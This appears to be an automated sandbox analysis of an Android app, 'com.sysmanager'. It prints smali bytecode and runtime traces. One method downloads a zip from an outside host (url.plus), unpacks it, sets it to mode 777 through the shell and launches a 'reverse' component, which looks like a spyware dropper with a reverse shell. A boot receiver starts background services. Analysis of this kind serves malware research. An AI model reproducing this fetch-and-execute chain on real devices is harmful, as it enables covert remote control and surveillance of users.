Method: ..:29 Show source
Method: ..:45 Show source
Method: ..:54 Show source
Method: ..:25 Show source
Method: ..:34 Show source
Method: ..:44 Show source
Method: ..:65 Show source
Method: ..:72 Show source
Method: ..:43 Show source
Method: ..:63 Show source
Method: ..:72 Show source
Method: ..:42 Show source
Method: ..:54 Show source
Method: ..:65 Show source
Method: ..:36 Show source
Method: ..:96 Show source
Method: ..:235 Show source
Method: ..:61 Show source
Method: ..:75 Show source
Method: ..:34 Show source
Method: ..:39 Show source
Method: ..:46 Show source
Method: ..:12 Show source
Method: ..:42 Show source
Method: ..:48 Show source
Method: ..:55 Show source
Method: ..:9 Show source
Method: ..:49 Show source
Method: ..:55 Show source
Method: ..:18 Show source
Method: ..:24 Show source
Method: ..:27 Show source
Method: ..:33 Show source
Method: ..:40 Show source
Method: ..:45 Show source
Method: ..:52 Show source
Method: ..:11 Show source
Method: ..:19 Show source
Method: ..:46 Show source
Method: ..:73 Show source
Method: ..:11 Show source
Method: ..:17 Show source
Method: ..:43 Show source
Method: ..:52 Show source
Method: ..:24 Show source
Method: ..:32 Show source
Method: ..:13 Show source
Method: ..:19 Show source
Method: ..:60 Show source
Method: ..:79 Show source
Method: ..:11 Show source
Method: ..:23 Show source
Method: ..:29 Show source
Method: ..:15 Show source
Method: ..:23 Show source
Method: ..:30 Show source
Method: ..:17 Show source
Method: ..:23 Show source
Method: ..:30 Show source
Method: ..:39 Show source
Method: ..:20 Show source
Method: ..:26 Show source
Method: ..:25 Show source
Method: ..:48 Show source
Method: ..:40 Show source
Method: ..:46 Show source
Method: ..:53 Show source
Method: ..:84 Show source
Method: ..:99 Show source
Method: ..:105 Show source

58 Executed Methods

Cross References
APIs
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.network.StartReverse.execReverse
  • java.io.File.delete
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.net.URL.<init>
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setRequestMethod
  • java.net.HttpURLConnection.setDoOutput
  • com.android.okhttp.internal.http.HttpURLConnectionImpl.connect
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.FileOutputStream.<init>
  • com.android.okhttp.internal.http.HttpURLConnectionImpl.getInputStream
  • java.io.InputStream.read
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.io.InputStream.close
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.network.StartReverse.unpackZip
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.network.StartReverse.execReverse
Strings
  • /
  • setting
  • /data/data/com.sysmanager/files/setting
  • http://url.plus/Updates/startup.x86.zip
  • GET
  • /data/data/com.sysmanager/files/startup.x86.zip
  • /system/bin/chmod 777
  • /*
  • /system/bin/sh
Position Instruction Meta Information
0.param p1, "objects" # [Ljava/lang/Object;
1.prologue
2const/4 v12, 0x0
3aget-object v2, p1, v12
4check-cast v2, Landroid/content/Context;
5const/4 v12, 0x2
6aget-object v5, p1, v12
7check-cast v5, Ljava/lang/String;
8const/4 v12, 0x3
9aget-object v9, p1, v12
10check-cast v9, Ljava/lang/String;
11new-instance v10, Ljava/io/File;
12new-instance v12, Ljava/lang/StringBuilder;
14invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
16invoke-virtual {v2}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
17move-result-object v13
19invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
20move-result-object v12
22const-string v13, "/"
24invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v12
27const-string v13, "setting"
29invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v12
32invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
33move-result-object v12
35invoke-direct {v10, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 77470
    • This:
      • /data/data/com.sysmanager/files/setting
    • p0: /data/data/com.sysmanager/files/setting
    • Return:
      • /data/data/com.sysmanager/files/setting
37invoke-virtual {v10}, Ljava/io/File;->exists()Z
  • Time: 77494
    • This:
      • /data/data/com.sysmanager/files/setting
    • Return:
      • false
38move-result v12
39if-eqz v12, :cond_43
40array-length v12, p1
41const/4 v13, 0x4
42if-ne v12, v13, :cond_40
44invoke-direct {p0, v2, v5, v9}, Lcom/sysmanager/network/StartReverse;->execReverse(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
45const/4 v12, 0x0
46goto_3f: return-object v12
47cond_40:
48invoke-virtual {v10}, Ljava/io/File;->delete()Z
49cond_43: new-instance v11, Ljava/net/URL;
50new-instance v12, Ljava/lang/StringBuilder;
52invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
53const/4 v13, 0x1
54aget-object v13, p1, v13
56invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
57move-result-object v12
59sget-object v13, Lcom/sysmanager/network/StartReverse;->REVERSE_ZIP:Ljava/lang/String;
61invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62move-result-object v12
64invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
65move-result-object v12
67invoke-direct {v11, v12}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
  • Time: 77507
    • This:
      • http://url.plus/Updates/startup.x86.zip
    • p0: http://url.plus/Updates/startup.x86.zip
    • Return:
      • http://url.plus/Updates/startup.x86.zip
69invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
  • Time: 77519
    • This:
      • http://url.plus/Updates/startup.x86.zip
    • Return:
      • com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
70move-result-object v1
71check-cast v1, Ljava/net/HttpURLConnection;
73const-string v12, "GET"
75invoke-virtual {v1, v12}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
76const/4 v12, 0x1
78invoke-virtual {v1, v12}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
80invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
  • Time: 88826
    • This:
      • com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
81new-instance v8, Ljava/io/File;
82new-instance v12, Ljava/lang/StringBuilder;
84invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
86invoke-virtual {v2}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
87move-result-object v13
89invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
90move-result-object v12
92const-string v13, "/"
94invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
95move-result-object v12
97sget-object v13, Lcom/sysmanager/network/StartReverse;->REVERSE_ZIP:Ljava/lang/String;
99invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
100move-result-object v12
102invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
103move-result-object v12
105invoke-direct {v8, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 88830
    • This:
      • /data/data/com.sysmanager/files/startup.x86.zip
    • p0: /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • /data/data/com.sysmanager/files/startup.x86.zip
107invoke-virtual {v8}, Ljava/io/File;->exists()Z
  • Time: 88831
    • This:
      • /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • false
  • Time: 200776
    • This:
      • /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • true
108move-result v12
109if-eqz v12, :cond_9b
111invoke-virtual {v8}, Ljava/io/File;->delete()Z
  • Time: 200894
    • This:
      • /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • true
112cond_9b: new-instance v4, Ljava/io/FileOutputStream;
114invoke-direct {v4, v8}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
  • Time: 88839
    • This:
      • java.io.FileOutputStream@2a604b67
    • p0: /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • java.io.FileOutputStream@2a604b67
  • Time: 200924
    • This:
      • java.io.FileOutputStream@285cdad3
    • p0: /data/data/com.sysmanager/files/startup.x86.zip
    • Return:
      • java.io.FileOutputStream@285cdad3
116invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
  • Time: 89744
    • This:
      • com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
    • Return:
      • java.io.BufferedInputStream@1aa3ad14
  • Time: 203472
    • This:
      • com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
    • Return:
      • java.io.BufferedInputStream@76fe6cd
117move-result-object v6
118const/16 v12, 0x400
119new-array v0, v12, [B
120goto_a8:
121invoke-virtual {v6, v0}, Ljava/io/InputStream;->read([B)I
122move-result v7
123const/4 v12, -0x1
124if-eq v7, v12, :cond_be
125const/4 v12, 0x0
127invoke-virtual {v4, v0, v12, v7}, Ljava/io/FileOutputStream;->write([BII)V
128try_end_b3: goto/16 :goto_a8
129catch_b4: move-exception v3
131invoke-static {v3}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
132move-result-object v12
134invoke-static {v2, v12}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
135cond_bc: const/4 v12, 0x0
136goto/16 :goto_3f
137cond_be:
138invoke-virtual {v4}, Ljava/io/FileOutputStream;->close()V
140invoke-virtual {v6}, Ljava/io/InputStream;->close()V
141new-instance v12, Ljava/lang/StringBuilder;
143invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
145invoke-virtual {v2}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
146move-result-object v13
148invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
149move-result-object v12
151const-string v13, "/"
153invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
154move-result-object v12
156invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
157move-result-object v12
159sget-object v13, Lcom/sysmanager/network/StartReverse;->REVERSE_ZIP:Ljava/lang/String;
161invoke-direct {p0, v12, v13}, Lcom/sysmanager/network/StartReverse;->unpackZip(Ljava/lang/String;Ljava/lang/String;)Z
162move-result v12
163if-eqz v12, :cond_bc
164new-instance v12, Ljava/lang/StringBuilder;
166invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
168const-string v13, "/system/bin/chmod 777 "
170invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
171move-result-object v12
173invoke-virtual {v2}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
174move-result-object v13
176invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
177move-result-object v12
179const-string v13, "/*"
181invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
182move-result-object v12
184invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
185move-result-object v12
187const-string v13, "/system/bin/sh"
189invoke-static {v12, v13}, Lcom/sysmanager/utils/Commands;->executeCommands(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
191invoke-direct {p0, v2, v5, v9}, Lcom/sysmanager/network/StartReverse;->execReverse(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
192try_end_108: goto/16 :goto_bc
Cross References
APIs
  • android.os.SystemClock.elapsedRealtime
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
  • java.io.IOException.<init>
  • android.os.SystemClock.elapsedRealtime
  • android.content.Intent.<init>
  • android.content.Intent.setPackage
  • java.lang.Integer.toString
  • android.os.Bundle.putString
  • java.lang.Integer.toString
  • android.os.Bundle.putString
  • java.lang.Integer.toString
  • android.os.Bundle.putString
  • android.content.pm.PackageManager.getPackageInfo
  • android.os.Bundle.putString
  • java.security.MessageDigest.digest
  • android.os.Bundle.putString
  • java.security.KeyPair.getPublic
  • java.security.PublicKey.getEncoded
  • android.os.Bundle.putString
  • com.sysmanager.Scontext.getPackageName
  • android.os.Bundle.putString
  • android.content.Intent.putExtras
Strings
  • InstanceID/Rpc
  • Backoff mode, next request attempt:
  • interval:
  • RETRY_LATER
  • MISSING_INSTANCEID_SERVICE
  • com.google.iid.TOKEN_REQUEST
  • gmsv
  • com.google.android.gms
  • osv
  • app_ver
  • app_ver_name
  • com.sysmanager
  • cliv
  • fiid-10240000
  • appid
  • pub2
  • sig
  • com.google.android.c2dm.intent.REGISTER
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
6invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
7move-result-wide v0
8iget-wide v2, p0, Lcom/google/firebase/iid/zzf;->zzbid:J
9const-wide/16 v4, 0x0
10cmp-long v2, v2, v4
11if-eqz v2, :cond_44
12iget-wide v2, p0, Lcom/google/firebase/iid/zzf;->zzbid:J
13cmp-long v2, v0, v2
14if-gtz v2, :cond_44
16const-string v2, "InstanceID/Rpc"
17iget-wide v4, p0, Lcom/google/firebase/iid/zzf;->zzbid:J
18sub-long v0, v4, v0
19iget v3, p0, Lcom/google/firebase/iid/zzf;->zzbic:I
20const/16 v4, 0x4e
21new-instance v5, Ljava/lang/StringBuilder;
23invoke-direct {v5, v4}, Ljava/lang/StringBuilder;-><init>(I)V
25const-string v4, "Backoff mode, next request attempt: "
27invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v4
30invoke-virtual {v4, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
31move-result-object v0
33const-string v1, " interval: "
35invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v0
38invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
39move-result-object v0
41invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
42move-result-object v0
44invoke-static {v2, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
45new-instance v0, Ljava/io/IOException;
47const-string v1, "RETRY_LATER"
49invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
50throw v0
51cond_44:
52invoke-virtual {p0}, Lcom/google/firebase/iid/zzf;->zzHl()V
54sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
55if-nez v0, :cond_53
56new-instance v0, Ljava/io/IOException;
58const-string v1, "MISSING_INSTANCEID_SERVICE"
60invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
61throw v0
62cond_53:
63invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
64move-result-wide v0
65iput-wide v0, p0, Lcom/google/firebase/iid/zzf;->zzbhZ:J
66new-instance v1, Landroid/content/Intent;
67sget-boolean v0, Lcom/google/firebase/iid/zzf;->zzbhR:Z
68if-eqz v0, :cond_e6
70const-string v0, "com.google.iid.TOKEN_REQUEST"
71goto_61:
72invoke-direct {v1, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
74sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
76invoke-virtual {v1, v0}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
78const-string v0, "gmsv"
80iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
82iget-object v3, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
84invoke-static {v3}, Lcom/google/firebase/iid/zzf;->zzbA(Landroid/content/Context;)Ljava/lang/String;
85move-result-object v3
87invoke-static {v2, v3}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzR(Landroid/content/Context;Ljava/lang/String;)I
  • Time: 201658
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.google.android.gms
    • flags: 0
    • Return:
      • PackageInfo{ec3e496 com.google.android.gms}
  • Time: 201855
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.google.android.gms
    • flags: 0
    • Return:
      • PackageInfo{1b0f67cc com.google.android.gms}
  • Time: 213983
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.google.android.gms
    • flags: 0
    • Return:
      • PackageInfo{be55673 com.google.android.gms}
88move-result v2
90invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
91move-result-object v2
93invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
95const-string v0, "osv"
96sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
98invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
99move-result-object v2
101invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
103const-string v0, "app_ver"
105iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
107invoke-static {v2}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcr(Landroid/content/Context;)I
108move-result v2
110invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
111move-result-object v2
113invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
115const-string v0, "app_ver_name"
117iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
119invoke-static {v2}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzbx(Landroid/content/Context;)Ljava/lang/String;
  • Time: 201718
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{ca31404 com.sysmanager}
  • Time: 201865
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{38b6612a com.sysmanager}
  • Time: 214011
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{5b3b9a9 com.sysmanager}
120move-result-object v2
122invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
124const-string v0, "cliv"
126const-string v2, "fiid-10240000"
128invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
130const-string v0, "appid"
132invoke-static {p2}, Lcom/google/firebase/iid/FirebaseInstanceId;->zza(Ljava/security/KeyPair;)Ljava/lang/String;
  • Time: 201725
    • This:
      • MESSAGE DIGEST SHA1
    • p0: [B@1ef83eb3
    • p0: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
    • p0: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
    • Return:
      • [B@43f6c70
      • Y<Yo4B`/{
      • 59B00186873CC4596F344260FF092F7BD0DFAFEA
  • Time: 201879
    • This:
      • MESSAGE DIGEST SHA1
    • p0: [B@1db134b8
    • p0: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
    • p0: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
    • Return:
      • [B@20d3b291
      • Y<Yo4B`/{
      • 59B00186873CC4596F344260FF092F7BD0DFAFEA
  • Time: 214029
    • This:
      • MESSAGE DIGEST SHA1
    • p0: [B@1734e6cf
    • p0: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
    • p0: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
    • Return:
      • [B@12f3885c
      • Y<Yo4B`/{
      • 59B00186873CC4596F344260FF092F7BD0DFAFEA
133move-result-object v2
135invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
137invoke-virtual {p2}, Ljava/security/KeyPair;->getPublic()Ljava/security/PublicKey;
138move-result-object v0
140invoke-interface {v0}, Ljava/security/PublicKey;->getEncoded()[B
141move-result-object v0
143invoke-static {v0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzv([B)Ljava/lang/String;
144move-result-object v0
146const-string v2, "pub2"
148invoke-virtual {p1, v2, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
150const-string v2, "sig"
151const/4 v3, 0x2
152new-array v3, v3, [Ljava/lang/String;
153const/4 v4, 0x0
155iget-object v5, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
157invoke-virtual {v5}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 201745
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
158move-result-object v5
159aput-object v5, v3, v4
160const/4 v4, 0x1
161aput-object v0, v3, v4
163invoke-static {p2, v3}, Lcom/google/firebase/iid/zzf;->zza(Ljava/security/KeyPair;[Ljava/lang/String;)Ljava/lang/String;
164move-result-object v0
166invoke-virtual {p1, v2, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
168invoke-virtual {v1, p1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
  • Time: 201770
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
170invoke-virtual {p0, v1}, Lcom/google/firebase/iid/zzf;->zzp(Landroid/content/Intent;)V
172invoke-virtual {p0, v1, p3}, Lcom/google/firebase/iid/zzf;->zzb(Landroid/content/Intent;Ljava/lang/String;)V
173return-void
174cond_e6:
175const-string v0, "com.google.android.c2dm.intent.REGISTER"
176goto/16 :goto_61
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.putExtra
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.OnBootReceiver.isMyServiceRunning
  • android.content.Intent.<init>
  • android.content.Context.startService
  • android.content.Intent.<init>
  • com.sysmanager.Scontext.startService
Strings
  • col04
  • col05
  • col07
  • extra_accuracy
  • col25
  • extra_move
  • col06
  • col17
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/4 v2, 0x1
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v3
7const-string v4, "col04"
9invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
10move-result v3
11if-ne v3, v2, :cond_ec
12const-class v3, Lcom/sysmanager/system/AndroidFileManager;
14invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
15move-result v3
16if-nez v3, :cond_1f
17new-instance v3, Landroid/content/Intent;
18const-class v4, Lcom/sysmanager/system/AndroidFileManager;
20invoke-direct {v3, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
22invoke-virtual {p0, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
23cond_1f: const-class v3, Lcom/sysmanager/system/AndroidClock;
25invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
26move-result v3
27if-nez v3, :cond_31
28new-instance v3, Landroid/content/Intent;
29const-class v4, Lcom/sysmanager/system/AndroidClock;
31invoke-direct {v3, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
33invoke-virtual {p0, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
34cond_31:
35invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
36move-result-object v3
38const-string v4, "col05"
40invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
41move-result v3
42if-ne v3, v2, :cond_d6
43const-class v3, Lcom/sysmanager/system/AndroidSystemService;
45invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
46move-result v3
47if-nez v3, :cond_59
48new-instance v3, Landroid/content/Intent;
49const-class v4, Lcom/sysmanager/system/AndroidAlarmManager;
51invoke-direct {v3, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
53invoke-virtual {p0, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
54new-instance v3, Landroid/content/Intent;
55const-class v4, Lcom/sysmanager/system/AndroidSystemService;
